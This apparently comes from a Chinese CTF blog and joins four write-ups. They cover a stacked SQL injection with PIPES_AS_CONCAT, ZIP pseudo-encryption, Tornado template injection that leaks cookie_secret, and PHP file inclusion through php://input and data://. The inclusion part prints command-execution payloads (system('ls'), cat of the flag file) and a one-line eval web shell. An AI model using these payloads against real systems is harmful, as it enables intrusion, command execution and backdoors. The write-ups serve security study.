0%

前言:

 此题我们需要运用堆叠注入,和mysql中的 || 符号的意思及如何改变,还有mysql中的sql_mode模式的概念了解。

一、了解新知识

  1. mysql服务器可以在不同的sql_mode模式下运行,并且可以根据sql_mode系统变量的值,为不同的客户机应用不同的模式。sql_mode会影响mysql支持的sql语法,并且会执行数据验证检查
  2. 在Oracle,用 || 连接字符串的,而在mysql,是用CONCAT来实现的。mysql为了兼容这一个特性,设置了PIPES_AS_CONCAT模式,mysql会将 || 视为字符串的连接操作符而非 或 运算符。具体命令如下:
    1
    set sql_mode=PIPES_AS_CONCAT;

二、解题思路

  1. 经过一系列的输入测试发现,输入数字时会显示 Array ( [0] => 1 ) 而输入其它字符则不显示,flag除外,但输入flag会提示 Nonono. 那么它内部到底是一个怎么样的sql语句呢?
  2. 我们猜测它有一个 ||符号,因为当我们输入数字时被当成常量一直输出1,当我们输入带有字母时会被当做一个变量(列)而又无法找到,所以报错(没有回显),而输入带有”flag“的字符串都会弹出 Nonono. 说明过滤了“flag”这几个字符(后面发现,不区分大小写都过滤了)
  3. 我们尝试使用,堆叠注入,可以显示出有flag字段,但是因为过滤了“flag”几个字符所以行不通。最后看别人的wp发现可以使用:
    1
    2
    3
    *,1(常数即可)    //注意," * "要在前面
    // 即构成如下
    select *,1||flag from Flag //此时,应该是还不确定||后面是flag
  1. 这时我们还想起了将|| 变为连接符试试,又有 set sql_mode=PIPES_AS_CONCAT; 语句可用,于是得到payload:
    1
    1;set sql_mode=pipes_as_concat;select 1
     得到flag,至于 内置sql=”select”.post[‘query’].”||flag from Flag”;怎么判断||后面是flag字段的我的理解是猜的,如以后发现另又原因再做更改,最后结果如下:

前言:

  一次做misc题,经过一系列操作最后得到了一个加密压缩包,且我已经看到了flag文件就在压缩包内,但是题目却没有给其它任何关于密码的提示,于是我猜测是伪加密。可是经过一系列操作后还是没有解开,我开始尝试暴力破解,没想到还真的成功了。由此我想系统的总结一下压缩包的伪加密以免下次再浪费时间在伪加密上面。

一、zip文件的初识

 1、zip压缩包的的组成。

   它由3个部分组成:压缩源文件数据区 + 压缩源文件目录区 + 压缩源文件目录结束标志

 2、借助网上的图片可以清晰的了解zip的详细构造如:


二、判定是否存在伪加密

不存在加密:

 压缩源文件数据区中的全局方式位标记为00 00 且 压缩源文件目录区的全局方式位标记为00 00(全局方式标记位就是14 00 后面的那个字节。

存在伪加密:

压缩源文件数据区中的全局方式位标记为00 00 且 压缩源文件目录区的全局方式位标记为09 0001 00。或者压缩源文件目录区的全局方式标记为00 00

存在真实加密:

 压缩源文件数据区中的全局方式位标记为09 0001 00 且 压缩源文件目录区的全局方式位标记为09 0001 00 且压缩方式也不为00 00

三、去除伪加密

  1. 使用特定的工具来进行清楚密码如:ZipCenOp.jar
  2. 手动更改文件头,将压缩源文件目录区的全局方式位标记为09 00 或 01 00改为00 00保存即可。(手动更靠谱

前言:

 此题主要涉及到tornado (一个web框架)的基本认知,以及用python写MD5加密脚本,还要了解什么是cookie_secret,什么是render函数。

一、新知识

  1. 什么是tornado?
     tornado是python的一个web框架。
  2. 用python写md5加密脚本
    import hashlib //导入模块
    def md5(str):  //定义一个函数
       md5=hashlib.md5()  //创建一个对象
       md5.update(str.encode('utf8')) //记得将字符串规定一种编码
       return  md5.hexdigest()
    cookie_secret = "402ecfe0-64a7-4b07-9af1-bd28d59d227f"
    print(md5(cookie_secret + md5("/fllllllllllllag")))
  3. 这里的cookie_secret指的是什么?
     简单的来讲就是密钥,用它来进行一系列的安全加密。
  4. 什么是render函数?
     它是一个渲染函数,暂时并无其它更多了解。

二、解题思路

  1. 打开链接发现3个文件夹,打开/flag.txt发现提示flag in /fllllllllllllag,打开welcome.txt 发现提示 render ,打开hints.txt 发现提示 md5(cookie_secret+md5(filename)) 再看看url中的get传参可以推断出filehash就是md5(cookie_secret+md5(filename))的运算结果。但是我们并不知道cookie_secret的值,怎么办呢?
  2. 我们尝试直接访问/fllllllllllllag发现自动跳转到了error页面且页面内容可以自己更改,那么我们是否可以改成一个变量,让此变量中含有cookie_secret?
  3. 经过查阅资料发现,handler.settings变量中,settings是一个字典,主要保存一些配置选项.那么现在就好办了,使用payload为?msg=即可得到cookie_secret的值如:
  4. 现在可以运行我们上面写的python脚本进行对应的MD5的加密最后得到最终的paylod ?filename= /fllllllllllllag&filehash=db8210d5af8bfcd318427ffc0f1b74ef得到我们的flag:

三、补充知识

  1. 模块注入可以参考:https://www.freebuf.com/vuls/83999.html

前言:

 这题主要是代码审计,其中要了解文件包含漏洞及php伪协议中的php://input还有strstr函数和str_replace函数的理解,下面我们就来进行总结。

一、解题所用到的知识总结

  1. 文件包含漏洞
      文件包含漏洞,就是说你使用文件包含函数后,会把你包含的文件也进行一遍编译或者叫做执行。
    PHP中文件包含函数有以下四种:
    1
    2
    3
    4
    5
    6
    7
    require()

    require_once()

    include()

    include_once()
     其中include和require区别主要是,include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行;而require函数出现错误的时候,会直接报错并退出程序的执行。而include_once(),require_once()这两个函数,与前两个的不同之处在于这两个函数只包含一次.
  2. php伪协议中的php://input。
      一般的利用形式为file=php://input。php://input 可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行且php://input 也可以用来生成一句话木马。
  3. strstr函数的理解
     strstr(被搜索的字符串,搜索的字符串) 函数搜索字符串在另一字符串中是否存在,如果是返回该字符串及剩余部分,否则返回 FALSE。但是需要注意它是严格区分大小写的,也就是说可以利用PHp://input。
  4. str_replace函数的理解
      str_replace(str1,str2,str),将str字符串中的str1替换成str2注意:他是区分大小写的

二、解题过程及对题目的理解

 拿到题目链接,打开后发现一系列代码如下:

1
2
3
4
5
6
7
8
9
<?php
show_source(__FILE__); //语法高亮,基本没利用点
echo $_GET['hello']; //输出传参hello,因该是给我们用来判定是否传入数据成功
$page=$_GET['page']; //将get到的page值赋给$page
while (strstr($page, "php://")) { //当我传入PHp://时函数是没有检测到,返回false那么循环语句里面的都不执行。
$page=str_replace("php://", "", $page);
}
include($page); //执行包含$page文件,而page的内容我们可以通过post方式传入。
?>
  1. 通过对上面代码的分析,发现只要我们传入一个page=php://input,然后我们以post方式传入我们想要执行的命令即可。
  2. post传值有2中方式,可以是通过浏览器插件hackbar来传入,也可以通过burp suite抓包后来添加post值进行post传值
  3. 我们先传入post值为:
    1
    <?php system("ls");?>
     我们可以看到放回结果为:

     那么接下来我们执行:
    1
    <?php system("cat fl4gisisish3r3.php")?>
     此时我们如果用浏览器插件的话发现没有回显,这是因为cat的文件里的内容,被解析成php语言,我们需要查看它的源代码。

三、补充知识

  1.  看别人的wp发现可以用data://伪协议来做出此题。如:
    1
    /?page=data:text/plain,<?php system("cat fl4gisisish3r3.php"); ?> //他的效果应该是和php://input 后传post值效果一样
     这里还可以用
    1
    page=data:text/plain,<?php @eval($_POST["mayi"])?>
     来传入一句话,但是不知道为什么php://input 然后post一个一句话连不了。
    1
    因为使用php://input时我们还需要post数据进行构造一句话木马,所以我们不能直接这样去使用,我们可以试试在蚁剑中加入一个post的木马值
  2. 那么data:// 到底怎么用呢?
    简单来讲利用data:// 伪协议可以直接达到执行php代码的效果。如果对特殊字符进行了过滤,我们还可以通过base64编码后再输入如
    ==?page=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4===